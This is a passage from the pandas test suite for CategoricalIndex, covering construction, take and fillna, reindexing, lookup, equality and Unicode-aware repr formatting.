u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう'], categories=[u'あ', u'いい', u'ううう'], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # truncated idx = pd.CategoricalIndex([u'あ', u'いい', u'ううう'] * 100) if PY3: expected = u"""CategoricalIndex(['あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', ... 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう'], categories=['あ', 'いい', 'ううう'], ordered=False, dtype='category', length=300)""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', ... u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう'], categories=[u'あ', u'いい', u'ううう'], ordered=False, dtype='category', length=300)""" # noqa assert unicode(idx) == expected # larger categories idx = pd.CategoricalIndex(list(u'あいうえおかきくけこさしすせそ')) if PY3: expected = u"""CategoricalIndex(['あ', 'い', 'う', 'え', 'お', 'か', 'き', 'く', 'け', 'こ', 'さ', 'し', 'す', 'せ', 'そ'], categories=['あ', 'い', 'う', 'え', 'お', 'か', 'き', 'く', ...], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'い', u'う', u'え', u'お', u'か', u'き', u'く', u'け', u'こ', u'さ', u'し', u'す', u'せ', u'そ'], categories=[u'あ', u'い', u'う', u'え', u'お', u'か', u'き', u'く', ...], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # Emable Unicode option ----------------------------------------- with cf.option_context('display.unicode.east_asian_width', True): # short idx = pd.CategoricalIndex([u'あ', u'いい', u'ううう']) if PY3: expected = u"""CategoricalIndex(['あ', 'いい', 'ううう'], categories=['あ', 'いい', 'ううう'], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'いい', u'ううう'], categories=[u'あ', u'いい', u'ううう'], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # multiple lines idx = pd.CategoricalIndex([u'あ', u'いい', u'ううう'] * 10) if PY3: expected = u"""CategoricalIndex(['あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう'], categories=['あ', 'いい', 'ううう'], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう'], categories=[u'あ', u'いい', u'ううう'], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # truncated idx = pd.CategoricalIndex([u'あ', u'いい', u'ううう'] * 100) if PY3: expected = u"""CategoricalIndex(['あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', ... 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう'], categories=['あ', 'いい', 'ううう'], ordered=False, dtype='category', length=300)""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', ... u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう', u'あ', u'いい', u'ううう'], categories=[u'あ', u'いい', u'ううう'], ordered=False, dtype='category', length=300)""" # noqa assert unicode(idx) == expected # larger categories idx = pd.CategoricalIndex(list(u'あいうえおかきくけこさしすせそ')) if PY3: expected = u"""CategoricalIndex(['あ', 'い', 'う', 'え', 'お', 'か', 'き', 'く', 'け', 'こ', 'さ', 'し', 'す', 'せ', 'そ'], categories=['あ', 'い', 'う', 'え', 'お', 'か', 'き', 'く', ...], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'い', u'う', u'え', u'お', u'か', u'き', u'く', u'け', u'こ', u'さ', u'し', u'す', u'せ', u'そ'], categories=[u'あ', u'い', u'う', u'え', u'お', u'か', u'き', u'く', ...], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected def test_fillna_categorical(self): # GH 11343 idx = CategoricalIndex([1.0, np.nan, 3.0, 1.0], name='x') # fill by value in categories exp = CategoricalIndex([1.0, 1.0, 3.0, 1.0], name='x') tm.assert_index_equal(idx.fillna(1.0), exp) # fill by value not in categories raises ValueError with tm.assert_raises_regex(ValueError, 'fill value must be in categories'): idx.fillna(2.0) def test_take_fill_value(self): # GH 12631 # numeric category idx = pd.CategoricalIndex([1, 2, 3], name='xxx') result = idx.take(np.array([1, 0, -1])) expected = pd.CategoricalIndex([2, 1, 3], name='xxx') tm.assert_index_equal(result, expected) tm.assert_categorical_equal(result.values, expected.values) # fill_value result = idx.take(np.array([1, 0, -1]), fill_value=True) expected = pd.CategoricalIndex([2, 1, np.nan], categories=[1, 2, 3], name='xxx') tm.assert_index_equal(result, expected) tm.assert_categorical_equal(result.values, expected.values) # allow_fill=False result = idx.take(np.array([1, 0, -1]), allow_fill=False, fill_value=True) expected = pd.CategoricalIndex([2, 1, 3], name='xxx') tm.assert_index_equal(result, expected) tm.assert_categorical_equal(result.values, expected.values) # object category idx = pd.CategoricalIndex(list('CBA'), categories=list('ABC'), ordered=True, name='xxx') result = idx.take(np.array([1, 0, -1])) expected = pd.CategoricalIndex(list('BCA'), categories=list('ABC'), ordered=True, name='xxx') tm.assert_index_equal(result, expected) tm.assert_categorical_equal(result.values, expected.values) # fill_value result = idx.take(np.array([1, 0, -1]), fill_value=True) expected = pd.CategoricalIndex(['B', 'C', np.nan], categories=list('ABC'), ordered=True, name='xxx') tm.assert_index_equal(result, expected) tm.assert_categorical_equal(result.values, expected.values) # allow_fill=False result = idx.take(np.array([1, 0, -1]), allow_fill=False, fill_value=True) expected = pd.CategoricalIndex(list('BCA'), categories=list('ABC'), ordered=True, name='xxx') tm.assert_index_equal(result, expected) tm.assert_categorical_equal(result.values, expected.values) msg = ('When allow_fill=True and fill_value is not None, ' 'all indices must be >= -1') with tm.assert_raises_regex(ValueError, msg): idx.take(np.array([1, 0, -2]), fill_value=True) with tm.assert_raises_regex(ValueError, msg): idx.take(np.array([1, 0, -5]), fill_value=True) with pytest.raises(IndexError): idx.take(np.array([1, -5])) def test_take_fill_value_datetime(self): # datetime category idx = pd.DatetimeIndex(['2011-01-01', '2011-02-01', '2011-03-01'], name='xxx') idx = pd.CategoricalIndex(idx) result = idx.take(np.array([1, 0, -1])) expected = pd.DatetimeIndex(['2011-02-01', '2011-01-01', '2011-03-01'], name='xxx') expected = pd.CategoricalIndex(expected) tm.assert_index_equal(result, expected) # fill_value result = idx.take(np.array([1, 0, -1]), fill_value=True) expected = pd.DatetimeIndex(['2011-02-01', '2011-01-01', 'NaT'], name='xxx') exp_cats = pd.DatetimeIndex(['2011-01-01', '2011-02-01', '2011-03-01']) expected = pd.CategoricalIndex(expected, categories=exp_cats) tm.assert_index_equal(result, expected) # allow_fill=False result = idx.take(np.array([1, 0, -1]), allow_fill=False, fill_value=True) expected = pd.DatetimeIndex(['2011-02-01', '2011-01-01', '2011-03-01'], name='xxx') expected = pd.CategoricalIndex(expected) tm.assert_index_equal(result, expected) msg = ('When allow_fill=True and fill_value is not None, ' 'all indices must be >= -1') with tm.assert_raises_regex(ValueError, msg): idx.take(np.array([1, 0, -2]), fill_value=True) with tm.assert_raises_regex(ValueError, msg): idx.take(np.array([1, 0, -5]), fill_value=True) with pytest.raises(IndexError): idx.take(np.array([1, -5])) def test_take_invalid_kwargs(self): idx = pd.CategoricalIndex([1, 2, 3], name='foo') indices = [1, 0, -1] msg = r"take got an unexpected keyword argument 'foo'" tm.assert_raises_regex(TypeError, msg, idx.take, indices, foo=2) msg = "the 'out' parameter is not supported" tm.assert_raises_regex(ValueError, msg, idx.take, indices, out=indices) msg = "the 'mode' parameter is not supported" tm.assert_raises_regex(ValueError, msg, idx.take, indices, mode='clip')

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0.538757

import pytest import pandas.util.testing as tm from pandas.core.indexes.api import Index, CategoricalIndex from pandas.core.dtypes.dtypes import CategoricalDtype from .common import Base from pandas.compat import range, PY3 import numpy as np from pandas import Categorical, IntervalIndex, compat from pandas.util.testing import assert_almost_equal import pandas.core.config as cf import pandas as pd if PY3: unicode = lambda x: x class TestCategoricalIndex(Base): _holder = CategoricalIndex def setup_method(self, method): self.indices = dict(catIndex=tm.makeCategoricalIndex(100)) self.setup_indices() def create_index(self, categories=None, ordered=False): if categories is None: categories = list('cab') return CategoricalIndex( list('aabbca'), categories=categories, ordered=ordered) def test_construction(self): ci = self.create_index(categories=list('abcd')) categories = ci.categories result = Index(ci) tm.assert_index_equal(result, ci, exact=True) assert not result.ordered result = Index(ci.values) tm.assert_index_equal(result, ci, exact=True) assert not result.ordered result = CategoricalIndex(categories=categories) tm.assert_index_equal(result.categories, Index(categories)) tm.assert_numpy_array_equal(result.codes, np.array([], dtype='int8')) assert not result.ordered result = CategoricalIndex(list('aabbca'), categories=categories) tm.assert_index_equal(result.categories, Index(categories)) tm.assert_numpy_array_equal(result.codes, np.array([0, 0, 1, 1, 2, 0], dtype='int8')) c = pd.Categorical(list('aabbca')) result = CategoricalIndex(c) tm.assert_index_equal(result.categories, Index(list('abc'))) tm.assert_numpy_array_equal(result.codes, np.array([0, 0, 1, 1, 2, 0], dtype='int8')) assert not result.ordered result = CategoricalIndex(c, categories=categories) tm.assert_index_equal(result.categories, Index(categories)) tm.assert_numpy_array_equal(result.codes, np.array([0, 0, 1, 1, 2, 0], dtype='int8')) assert not result.ordered ci = CategoricalIndex(c, categories=list('abcd')) result = CategoricalIndex(ci) tm.assert_index_equal(result.categories, Index(categories)) tm.assert_numpy_array_equal(result.codes, np.array([0, 0, 1, 1, 2, 0], dtype='int8')) assert not result.ordered result = CategoricalIndex(ci, categories=list('ab')) tm.assert_index_equal(result.categories, Index(list('ab'))) tm.assert_numpy_array_equal(result.codes, np.array([0, 0, 1, 1, -1, 0], dtype='int8')) assert not result.ordered result = CategoricalIndex(ci, categories=list('ab'), ordered=True) tm.assert_index_equal(result.categories, Index(list('ab'))) tm.assert_numpy_array_equal(result.codes, np.array([0, 0, 1, 1, -1, 0], dtype='int8')) assert result.ordered result = pd.CategoricalIndex(ci, categories=list('ab'), ordered=True) expected = pd.CategoricalIndex(ci, categories=list('ab'), ordered=True, dtype='category') tm.assert_index_equal(result, expected, exact=True) result = Index(np.array(ci)) assert isinstance(result, Index) assert not isinstance(result, CategoricalIndex) def test_construction_with_dtype(self): ci = self.create_index(categories=list('abc')) result = Index(np.array(ci), dtype='category') tm.assert_index_equal(result, ci, exact=True) result = Index(np.array(ci).tolist(), dtype='category') tm.assert_index_equal(result, ci, exact=True) ci = self.create_index() result = Index( np.array(ci), dtype='category').reorder_categories(ci.categories) tm.assert_index_equal(result, ci, exact=True) expected = CategoricalIndex([0, 1, 2], categories=[0, 1, 2], ordered=True) idx = Index(range(3)) result = CategoricalIndex(idx, categories=idx, ordered=True) tm.assert_index_equal(result, expected, exact=True) def test_construction_with_categorical_dtype(self): data, cats, ordered = 'a a b b'.split(), 'c b a'.split(), True dtype = CategoricalDtype(categories=cats, ordered=ordered) result = pd.CategoricalIndex(data, dtype=dtype) expected = pd.CategoricalIndex(data, categories=cats, ordered=ordered) tm.assert_index_equal(result, expected, exact=True) with pytest.raises(ValueError, match="Cannot specify both `dtype` and " "`categories` or `ordered`."): pd.CategoricalIndex(data, categories=cats, dtype=dtype) with pytest.raises(ValueError, match="Cannot specify both `dtype` and " "`categories` or `ordered`."): pd.CategoricalIndex(data, ordered=ordered, dtype=dtype) def test_create_categorical(self): # instances of CategoricalIndex, but we still want to test the code ci = CategoricalIndex(['a', 'b', 'c']) # First ci is self, second ci is data. result = CategoricalIndex._create_categorical(ci, ci) expected = Categorical(['a', 'b', 'c']) tm.assert_categorical_equal(result, expected) def test_disallow_set_ops(self): # GH 10039 # set ops (+/-) raise TypeError idx = pd.Index(pd.Categorical(['a', 'b'])) pytest.raises(TypeError, lambda: idx - idx) pytest.raises(TypeError, lambda: idx + idx) pytest.raises(TypeError, lambda: idx - ['a', 'b']) pytest.raises(TypeError, lambda: idx + ['a', 'b']) pytest.raises(TypeError, lambda: ['a', 'b'] - idx) pytest.raises(TypeError, lambda: ['a', 'b'] + idx) def test_method_delegation(self): ci = CategoricalIndex(list('aabbca'), categories=list('cabdef')) result = ci.set_categories(list('cab')) tm.assert_index_equal(result, CategoricalIndex( list('aabbca'), categories=list('cab'))) ci = CategoricalIndex(list('aabbca'), categories=list('cab')) result = ci.rename_categories(list('efg')) tm.assert_index_equal(result, CategoricalIndex( list('ffggef'), categories=list('efg'))) # GH18862 (let rename_categories take callables) result = ci.rename_categories(lambda x: x.upper()) tm.assert_index_equal(result, CategoricalIndex( list('AABBCA'), categories=list('CAB'))) ci = CategoricalIndex(list('aabbca'), categories=list('cab')) result = ci.add_categories(['d']) tm.assert_index_equal(result, CategoricalIndex( list('aabbca'), categories=list('cabd'))) ci = CategoricalIndex(list('aabbca'), categories=list('cab')) result = ci.remove_categories(['c']) tm.assert_index_equal(result, CategoricalIndex( list('aabb') + [np.nan] + ['a'], categories=list('ab'))) ci = CategoricalIndex(list('aabbca'), categories=list('cabdef')) result = ci.as_unordered() tm.assert_index_equal(result, ci) ci = CategoricalIndex(list('aabbca'), categories=list('cabdef')) result = ci.as_ordered() tm.assert_index_equal(result, CategoricalIndex( list('aabbca'), categories=list('cabdef'), ordered=True)) # invalid pytest.raises(ValueError, lambda: ci.set_categories( list('cab'), inplace=True)) def test_contains(self): ci = self.create_index(categories=list('cabdef')) assert 'a' in ci assert 'z' not in ci assert 'e' not in ci assert np.nan not in ci # assert codes NOT in index assert 0 not in ci assert 1 not in ci ci = CategoricalIndex( list('aabbca') + [np.nan], categories=list('cabdef')) assert np.nan in ci def test_min_max(self): ci = self.create_index(ordered=False) pytest.raises(TypeError, lambda: ci.min()) pytest.raises(TypeError, lambda: ci.max()) ci = self.create_index(ordered=True) assert ci.min() == 'c' assert ci.max() == 'b' def test_map(self): ci = pd.CategoricalIndex(list('ABABC'), categories=list('CBA'), ordered=True) result = ci.map(lambda x: x.lower()) exp = pd.CategoricalIndex(list('ababc'), categories=list('cba'), ordered=True) tm.assert_index_equal(result, exp) ci = pd.CategoricalIndex(list('ABABC'), categories=list('BAC'), ordered=False, name='XXX') result = ci.map(lambda x: x.lower()) exp = pd.CategoricalIndex(list('ababc'), categories=list('bac'), ordered=False, name='XXX') tm.assert_index_equal(result, exp) # GH 12766: Return an index not an array tm.assert_index_equal(ci.map(lambda x: 1), Index(np.array([1] * 5, dtype=np.int64), name='XXX')) # change categories dtype ci = pd.CategoricalIndex(list('ABABC'), categories=list('BAC'), ordered=False) def f(x): return {'A': 10, 'B': 20, 'C': 30}.get(x) result = ci.map(f) exp = pd.CategoricalIndex([10, 20, 10, 20, 30], categories=[20, 10, 30], ordered=False) tm.assert_index_equal(result, exp) result = ci.map(pd.Series([10, 20, 30], index=['A', 'B', 'C'])) tm.assert_index_equal(result, exp) result = ci.map({'A': 10, 'B': 20, 'C': 30}) tm.assert_index_equal(result, exp) def test_map_with_categorical_series(self): # GH 12756 a = pd.Index([1, 2, 3, 4]) b = pd.Series(["even", "odd", "even", "odd"], dtype="category") c = pd.Series(["even", "odd", "even", "odd"]) exp = CategoricalIndex(["odd", "even", "odd", np.nan]) tm.assert_index_equal(a.map(b), exp) exp = pd.Index(["odd", "even", "odd", np.nan]) tm.assert_index_equal(a.map(c), exp) @pytest.mark.parametrize('klass', [list, tuple, np.array, pd.Series]) def test_where(self, klass): i = self.create_index() cond = [True] * len(i) expected = i result = i.where(klass(cond)) tm.assert_index_equal(result, expected) cond = [False] + [True] * (len(i) - 1) expected = CategoricalIndex([np.nan] + i[1:].tolist(), categories=i.categories) result = i.where(klass(cond)) tm.assert_index_equal(result, expected) def test_append(self): ci = self.create_index() categories = ci.categories # append cats with the same categories result = ci[:3].append(ci[3:]) tm.assert_index_equal(result, ci, exact=True) foos = [ci[:1], ci[1:3], ci[3:]] result = foos[0].append(foos[1:]) tm.assert_index_equal(result, ci, exact=True) # empty result = ci.append([]) tm.assert_index_equal(result, ci, exact=True) # appending with different categories or reoreded is not ok pytest.raises( TypeError, lambda: ci.append(ci.values.set_categories(list('abcd')))) pytest.raises( TypeError, lambda: ci.append(ci.values.reorder_categories(list('abc')))) # with objects result = ci.append(Index(['c', 'a'])) expected = CategoricalIndex(list('aabbcaca'), categories=categories) tm.assert_index_equal(result, expected, exact=True) # invalid objects pytest.raises(TypeError, lambda: ci.append(Index(['a', 'd']))) # GH14298 - if base object is not categorical -> coerce to object result = Index(['c', 'a']).append(ci) expected = Index(list('caaabbca')) tm.assert_index_equal(result, expected, exact=True) def test_insert(self): ci = self.create_index() categories = ci.categories # test 0th element result = ci.insert(0, 'a') expected = CategoricalIndex(list('aaabbca'), categories=categories) tm.assert_index_equal(result, expected, exact=True) # test Nth element that follows Python list behavior result = ci.insert(-1, 'a') expected = CategoricalIndex(list('aabbcaa'), categories=categories) tm.assert_index_equal(result, expected, exact=True) # test empty result = CategoricalIndex(categories=categories).insert(0, 'a') expected = CategoricalIndex(['a'], categories=categories) tm.assert_index_equal(result, expected, exact=True) # invalid pytest.raises(TypeError, lambda: ci.insert(0, 'd')) # GH 18295 (test missing) expected = CategoricalIndex(['a', np.nan, 'a', 'b', 'c', 'b']) for na in (np.nan, pd.NaT, None): result = CategoricalIndex(list('aabcb')).insert(1, na) tm.assert_index_equal(result, expected) def test_delete(self): ci = self.create_index() categories = ci.categories result = ci.delete(0) expected = CategoricalIndex(list('abbca'), categories=categories) tm.assert_index_equal(result, expected, exact=True) result = ci.delete(-1) expected = CategoricalIndex(list('aabbc'), categories=categories) tm.assert_index_equal(result, expected, exact=True) with pytest.raises((IndexError, ValueError)): # Either depending on NumPy version ci.delete(10) def test_astype(self): ci = self.create_index() result = ci.astype(object) tm.assert_index_equal(result, Index(np.array(ci))) # this IS equal, but not the same class assert result.equals(ci) assert isinstance(result, Index) assert not isinstance(result, CategoricalIndex) # interval ii = IntervalIndex.from_arrays(left=[-0.001, 2.0], right=[2, 4], closed='right') ci = CategoricalIndex(Categorical.from_codes( [0, 1, -1], categories=ii, ordered=True)) result = ci.astype('interval') expected = ii.take([0, 1, -1]) tm.assert_index_equal(result, expected) result = IntervalIndex.from_intervals(result.values) tm.assert_index_equal(result, expected) @pytest.mark.parametrize('name', [None, 'foo']) @pytest.mark.parametrize('dtype_ordered', [True, False]) @pytest.mark.parametrize('index_ordered', [True, False]) def test_astype_category(self, name, dtype_ordered, index_ordered): # GH 18630 index = self.create_index(ordered=index_ordered) if name: index = index.rename(name) # standard categories dtype = CategoricalDtype(ordered=dtype_ordered) result = index.astype(dtype) expected = CategoricalIndex(index.tolist(), name=name, categories=index.categories, ordered=dtype_ordered) tm.assert_index_equal(result, expected) # non-standard categories dtype = CategoricalDtype(index.unique().tolist()[:-1], dtype_ordered) result = index.astype(dtype) expected = CategoricalIndex(index.tolist(), name=name, dtype=dtype) tm.assert_index_equal(result, expected) if dtype_ordered is False: # dtype='category' can't specify ordered, so only test once result = index.astype('category') expected = index tm.assert_index_equal(result, expected) def test_reindex_base(self): idx = CategoricalIndex(list("cab"), categories=list("cab")) expected = np.arange(len(idx), dtype=np.intp) actual = idx.get_indexer(idx) tm.assert_numpy_array_equal(expected, actual) with tm.assert_raises_regex(ValueError, "Invalid fill method"): idx.get_indexer(idx, method="invalid") def test_reindexing(self): np.random.seed(123456789) ci = self.create_index() oidx = Index(np.array(ci)) for n in [1, 2, 5, len(ci)]: finder = oidx[np.random.randint(0, len(ci), size=n)] expected = oidx.get_indexer_non_unique(finder)[0] actual = ci.get_indexer(finder) tm.assert_numpy_array_equal(expected, actual) for finder in [list("aabbca"), list("aababca")]: expected = oidx.get_indexer_non_unique(finder)[0] actual = ci.get_indexer(finder) tm.assert_numpy_array_equal(expected, actual) def test_reindex_dtype(self): c = CategoricalIndex(['a', 'b', 'c', 'a']) res, indexer = c.reindex(['a', 'c']) tm.assert_index_equal(res, Index(['a', 'a', 'c']), exact=True) tm.assert_numpy_array_equal(indexer, np.array([0, 3, 2], dtype=np.intp)) c = CategoricalIndex(['a', 'b', 'c', 'a']) res, indexer = c.reindex(Categorical(['a', 'c'])) exp = CategoricalIndex(['a', 'a', 'c'], categories=['a', 'c']) tm.assert_index_equal(res, exp, exact=True) tm.assert_numpy_array_equal(indexer, np.array([0, 3, 2], dtype=np.intp)) c = CategoricalIndex(['a', 'b', 'c', 'a'], categories=['a', 'b', 'c', 'd']) res, indexer = c.reindex(['a', 'c']) exp = Index(['a', 'a', 'c'], dtype='object') tm.assert_index_equal(res, exp, exact=True) tm.assert_numpy_array_equal(indexer, np.array([0, 3, 2], dtype=np.intp)) c = CategoricalIndex(['a', 'b', 'c', 'a'], categories=['a', 'b', 'c', 'd']) res, indexer = c.reindex(Categorical(['a', 'c'])) exp = CategoricalIndex(['a', 'a', 'c'], categories=['a', 'c']) tm.assert_index_equal(res, exp, exact=True) tm.assert_numpy_array_equal(indexer, np.array([0, 3, 2], dtype=np.intp)) def test_reindex_empty_index(self): c = CategoricalIndex([]) res, indexer = c.reindex(['a', 'b']) tm.assert_index_equal(res, Index(['a', 'b']), exact=True) tm.assert_numpy_array_equal(indexer, np.array([-1, -1], dtype=np.intp)) def test_is_monotonic(self): c = CategoricalIndex([1, 2, 3]) assert c.is_monotonic_increasing assert not c.is_monotonic_decreasing c = CategoricalIndex([1, 2, 3], ordered=True) assert c.is_monotonic_increasing assert not c.is_monotonic_decreasing c = CategoricalIndex([1, 2, 3], categories=[3, 2, 1]) assert not c.is_monotonic_increasing assert c.is_monotonic_decreasing c = CategoricalIndex([1, 3, 2], categories=[3, 2, 1]) assert not c.is_monotonic_increasing assert not c.is_monotonic_decreasing c = CategoricalIndex([1, 2, 3], categories=[3, 2, 1], ordered=True) assert not c.is_monotonic_increasing assert c.is_monotonic_decreasing categories = [9, 0, 1, 2, 3] c = CategoricalIndex([9, 0], categories=categories) assert c.is_monotonic_increasing assert not c.is_monotonic_decreasing c = CategoricalIndex([0, 1], categories=categories) assert c.is_monotonic_increasing assert not c.is_monotonic_decreasing def test_duplicates(self): idx = CategoricalIndex([0, 0, 0], name='foo') assert not idx.is_unique assert idx.has_duplicates expected = CategoricalIndex([0], name='foo') tm.assert_index_equal(idx.drop_duplicates(), expected) tm.assert_index_equal(idx.unique(), expected) def test_get_indexer(self): idx1 = CategoricalIndex(list('aabcde'), categories=list('edabc')) idx2 = CategoricalIndex(list('abf')) for indexer in [idx2, list('abf'), Index(list('abf'))]: r1 = idx1.get_indexer(idx2) assert_almost_equal(r1, np.array([0, 1, 2, -1], dtype=np.intp)) pytest.raises(NotImplementedError, lambda: idx2.get_indexer(idx1, method='pad')) pytest.raises(NotImplementedError, lambda: idx2.get_indexer(idx1, method='backfill')) pytest.raises(NotImplementedError, lambda: idx2.get_indexer(idx1, method='nearest')) def test_get_loc(self): cidx1 = CategoricalIndex(list('abcde'), categories=list('edabc')) idx1 = Index(list('abcde')) assert cidx1.get_loc('a') == idx1.get_loc('a') assert cidx1.get_loc('e') == idx1.get_loc('e') for i in [cidx1, idx1]: with pytest.raises(KeyError): i.get_loc('NOT-EXIST') cidx2 = CategoricalIndex(list('aacded'), categories=list('edabc')) idx2 = Index(list('aacded')) res = cidx2.get_loc('d') tm.assert_numpy_array_equal(res, idx2.get_loc('d')) tm.assert_numpy_array_equal(res, np.array([False, False, False, True, False, True])) res = cidx2.get_loc('e') assert res == idx2.get_loc('e') assert res == 4 for i in [cidx2, idx2]: with pytest.raises(KeyError): i.get_loc('NOT-EXIST') cidx3 = CategoricalIndex(list('aabbb'), categories=list('abc')) idx3 = Index(list('aabbb')) res = cidx3.get_loc('a') assert res == idx3.get_loc('a') assert res == slice(0, 2, None) res = cidx3.get_loc('b') assert res == idx3.get_loc('b') assert res == slice(2, 5, None) for i in [cidx3, idx3]: with pytest.raises(KeyError): i.get_loc('c') def test_repr_roundtrip(self): ci = CategoricalIndex(['a', 'b'], categories=['a', 'b'], ordered=True) str(ci) tm.assert_index_equal(eval(repr(ci)), ci, exact=True) if PY3: str(ci) else: compat.text_type(ci) ci = CategoricalIndex(np.random.randint(0, 5, size=100)) if PY3: str(ci) else: compat.text_type(ci) def test_isin(self): ci = CategoricalIndex( list('aabca') + [np.nan], categories=['c', 'a', 'b']) tm.assert_numpy_array_equal( ci.isin(['c']), np.array([False, False, False, True, False, False])) tm.assert_numpy_array_equal( ci.isin(['c', 'a', 'b']), np.array([True] * 5 + [False])) tm.assert_numpy_array_equal( ci.isin(['c', 'a', 'b', np.nan]), np.array([True] * 6)) result = ci.isin(ci.set_categories(list('abcdefghi'))) expected = np.array([True] * 6) tm.assert_numpy_array_equal(result, expected) result = ci.isin(ci.set_categories(list('defghi'))) expected = np.array([False] * 5 + [True]) tm.assert_numpy_array_equal(result, expected) def test_identical(self): ci1 = CategoricalIndex(['a', 'b'], categories=['a', 'b'], ordered=True) ci2 = CategoricalIndex(['a', 'b'], categories=['a', 'b', 'c'], ordered=True) assert ci1.identical(ci1) assert ci1.identical(ci1.copy()) assert not ci1.identical(ci2) def test_ensure_copied_data(self): # gh-12309: Check the "copy" argument of each # Index.__new__ is honored. # # Must be tested separately from other indexes because # self.value is not an ndarray. _base = lambda ar: ar if ar.base is None else ar.base for index in self.indices.values(): result = CategoricalIndex(index.values, copy=True) tm.assert_index_equal(index, result) assert _base(index.values) is not _base(result.values) result = CategoricalIndex(index.values, copy=False) assert _base(index.values) is _base(result.values) def test_equals_categorical(self): ci1 = CategoricalIndex(['a', 'b'], categories=['a', 'b'], ordered=True) ci2 = CategoricalIndex(['a', 'b'], categories=['a', 'b', 'c'], ordered=True) assert ci1.equals(ci1) assert not ci1.equals(ci2) assert ci1.equals(ci1.astype(object)) assert ci1.astype(object).equals(ci1) assert (ci1 == ci1).all() assert not (ci1 != ci1).all() assert not (ci1 > ci1).all() assert not (ci1 < ci1).all() assert (ci1 <= ci1).all() assert (ci1 >= ci1).all() assert not (ci1 == 1).all() assert (ci1 == Index(['a', 'b'])).all() assert (ci1 == ci1.values).all() # invalid comparisons with tm.assert_raises_regex(ValueError, "Lengths must match"): ci1 == Index(['a', 'b', 'c']) pytest.raises(TypeError, lambda: ci1 == ci2) pytest.raises( TypeError, lambda: ci1 == Categorical(ci1.values, ordered=False)) pytest.raises( TypeError, lambda: ci1 == Categorical(ci1.values, categories=list('abc'))) # tests # make sure that we are testing for category inclusion properly ci = CategoricalIndex(list('aabca'), categories=['c', 'a', 'b']) assert not ci.equals(list('aabca')) # Same categories, but different order # Unordered assert ci.equals(CategoricalIndex(list('aabca'))) # Ordered assert not ci.equals(CategoricalIndex(list('aabca'), ordered=True)) assert ci.equals(ci.copy()) ci = CategoricalIndex(list('aabca') + [np.nan], categories=['c', 'a', 'b']) assert not ci.equals(list('aabca')) assert not ci.equals(CategoricalIndex(list('aabca'))) assert ci.equals(ci.copy()) ci = CategoricalIndex(list('aabca') + [np.nan], categories=['c', 'a', 'b']) assert not ci.equals(list('aabca') + [np.nan]) assert ci.equals(CategoricalIndex(list('aabca') + [np.nan])) assert not ci.equals(CategoricalIndex(list('aabca') + [np.nan], ordered=True)) assert ci.equals(ci.copy()) def test_string_categorical_index_repr(self): # short idx = pd.CategoricalIndex(['a', 'bb', 'ccc']) if PY3: expected = u"""CategoricalIndex(['a', 'bb', 'ccc'], categories=['a', 'bb', 'ccc'], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'a', u'bb', u'ccc'], categories=[u'a', u'bb', u'ccc'], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # multiple lines idx = pd.CategoricalIndex(['a', 'bb', 'ccc'] * 10) if PY3: expected = u"""CategoricalIndex(['a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc'], categories=['a', 'bb', 'ccc'], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc'], categories=[u'a', u'bb', u'ccc'], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # truncated idx = pd.CategoricalIndex(['a', 'bb', 'ccc'] * 100) if PY3: expected = u"""CategoricalIndex(['a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', ... 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 